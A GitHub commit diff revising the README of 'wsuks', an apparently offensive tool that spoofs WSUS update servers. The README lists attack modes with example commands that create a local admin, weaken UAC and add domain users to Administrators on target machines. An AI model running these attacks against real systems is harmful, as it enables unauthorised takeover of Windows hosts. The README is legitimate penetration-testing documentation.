Skip to content

Commit 2303455

Browse files
committed
Improve README
1 parent 2f5aaab commit 2303455

1 file changed

Lines changed: 23 additions & 13 deletions

File tree

README.md

Lines changed: 23 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -49,10 +49,22 @@ If you are using poetry, you must be in the wsuks folder and start each command
4949

5050
This tool requires the `nftables` package to be installed, which is the default on all debian based systems.\
5151

52-
There are 3 different modes/attack scenarios in which wsuks can be run, which are described below.
53-
### Specify known WSUS Server and create local admin user:
54-
If the WSUS server is already known, you can simply specify the target IP and the WSUS server IP.\
55-
The default executable is PsExec64.exe, which runs a predefined PowerShell script with the following actions:
52+
There are 3 different modes/attack scenarios in which wsuks can be run:
53+
- AUTOMATIC: If the WSUS server is not known, wsuks will automatically discover the WSUS server by parsing the GPOs on the domain controller. In this case, the IP of the domain controller must be provided, as well as credentials for the domain.
54+
- MANUAL: If the WSUS server is already known, the attack can be performed by simply providing the IP of the WSUS server.
55+
- SERVE ONLY: If the traffic is already being redirected to the attacker's machine (e.g. with control over DNS), wsuks can be used to only serve the malicious executable and command.
56+
57+
### AUTOMATIC: Autodiscover the WSUS Server by only specifying the domain user with the DC IP:
58+
If you already have a domain user, wsuks will parse the GPOs on the domain controller to find the WSUS server.\
59+
A PowerShell script is executed, which will add the provided domain user to the local admin group.
60+
```shell
61+
sudo wsuks -t 10.0.0.10 -u User -p Password -d domain.local --dc-ip 10.0.0.1
62+
```
63+
64+
**Tipp:** If you only want to check for a WSUS server, you can use the `--only-discover` flag.
65+
66+
### MANUAL: Specify known WSUS Server and create local admin user:
67+
The predefined PowerShell script will execute the following actions:
5668
1. Create a new user of the format user[0-9]{5} (e.g. user12345) and a random password
5769
2. Set the LocalAccountTokenFilterPolicy to 1 (disabling UAC ⚠)
5870
3. Add the created user to the local admin group
@@ -63,24 +75,22 @@ The default executable is PsExec64.exe, which runs a predefined PowerShell scrip
6375
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20
6476
```
6577

66-
### Specify known WSUS Server and add provided domain user to local admin group (domain is required!):
78+
### MANUAL: Specify known WSUS Server and add provided domain user to local admin group (domain is required!):
6779
If you already have a domain user and you know the IP of the WSUS server, wsuks will simply add the user to the local Administrators group.
6880
```shell
6981
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -d domain.local
7082
```
7183

72-
### Autodiscover the WSUS Server by only specifying the domain user with the DC IP:
73-
If you already have a domain user, wsuks will parse the GPOs on the domain controller to find the WSUS server.\
74-
A PowerShell script is executed, which will add the provided domain user to the local admin group.
84+
### SERVE ONLY: Only serve the malicious executable and command:
85+
If the traffic is already being redirected to the attacker's machine (e.g. with control over DNS), wsuks can be used to only serve the malicious executable and command without performing the ARP spoofing and routing itself.
86+
This will simply spawn the HTTP server on the provided interface.
7587
```shell
76-
sudo wsuks -t 10.0.0.10 -u User -p Password -d domain.local --dc-ip 10.0.0.1
88+
sudo wsuks --serve-only
7789
```
7890

79-
**Tipp:** If you only want to check for a WSUS server, you can use the `--only-discover` flag.
80-
81-
### Specify a TLS certificate for the WSUS webserver (ESC17):
82-
91+
### ESC17: Specify a TLS certificate for the WSUS webserver (ESC17):
8392
In the case an attacker is able to obtain a TLS certificate (e.g. through ESC17) for the WSUS server, the attack can be performed over HTTPS as well.
93+
Applies to all of the scenarios above, just add the `--tls-cert` flag with the path to the certificate.
8494
```shell
8595
sudo wsuks -t 10.0.0.10 --WSUS-Server secure.wsus.domain.local --tls-cert cert.pem
8696
```

0 commit comments

Comments
 (0)